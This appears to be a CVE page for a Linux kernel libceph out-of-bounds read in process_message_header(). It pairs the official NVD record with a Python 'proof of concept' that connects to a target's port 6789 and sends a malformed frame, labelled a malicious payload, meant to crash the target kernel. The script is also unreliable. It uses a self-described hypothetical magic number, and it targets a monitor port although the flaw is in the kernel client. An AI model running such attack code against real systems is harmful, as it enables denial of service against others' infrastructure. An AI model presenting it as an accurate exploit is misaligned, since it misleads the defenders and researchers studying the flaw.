CVE-2026-43406

import socket import struct # Conceptual Proof of Concept for CVE-2026-43406 # This script attempts to trigger the out-of-bounds read by sending a malformed Ceph message frame. # Note: Targeting a specific environment requires adjustment of IP/Port and protocol details. def send_malformed_ceph_packet(target_ip, target_port): try: # Create a socket connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((target_ip, target_port)) # Construct a malformed message header # The vulnerability is triggered if the control segment length is smaller than expected. # We simulate a corrupted frame structure. # Ceph protocol preamble (simplified) magic = struct.pack('>I', 0x01020304) # Hypothetical magic number # Malformed control length (e.g., 0 or very small) # This tricks process_message_header into reading OOB malformed_control_len = struct.pack('>I', 0x00000000) # Assemble payload payload = magic + malformed_control_len + b"A" * 100 # Send malicious payload s.send(payload) print(f"[+] Malformed packet sent to {target_ip}:{target_port}") print("[+] Check target kernel logs for OOPS or crash.") except Exception as e: print(f"[-] Error: {e}") finally: s.close() if __name__ == "__main__": # Replace with actual target details TARGET_IP = "192.168.1.10" TARGET_PORT = 6789 send_malformed_ceph_packet(TARGET_IP, TARGET_PORT)

{"cve": {"id": "CVE-2026-43406", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:52.137", "lastModified": "2026-05-11T08:16:13.280", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nlibceph: prevent potential out-of-bounds reads in process_message_header()\n\nIf the message frame is (maliciously) corrupted in a way that the\nlength of the control segment ends up being less than the size of the\nmessage header or a different frame is made to look like a message\nframe, out-of-bounds reads may ensue in process_message_header().\n\nPerform an explicit bounds check before decoding the message header."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "references": [{"url": "https://git.kernel.org/stable/c/035867ae6f18df0aeedb2a57a5b74091bd4e3fe8", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/50156622eb0888e62541d715a98584480a1bc7cb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/69fb5d91bba44ecf7eb80530b85fa4fb028921d5", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/69fe5af33fa3806f398d21c081d73c66e5523bc2", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/75582aaa580c11aed4c7731cad6b068b700e7efb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/76ccf21a12c5f6d6790bc32c7da82446d877b2f4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}, {"url": "https://git.kernel.org/stable/c/dbd857a9e1e33ea71eaf3e211877027e533770d1", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67"}]}}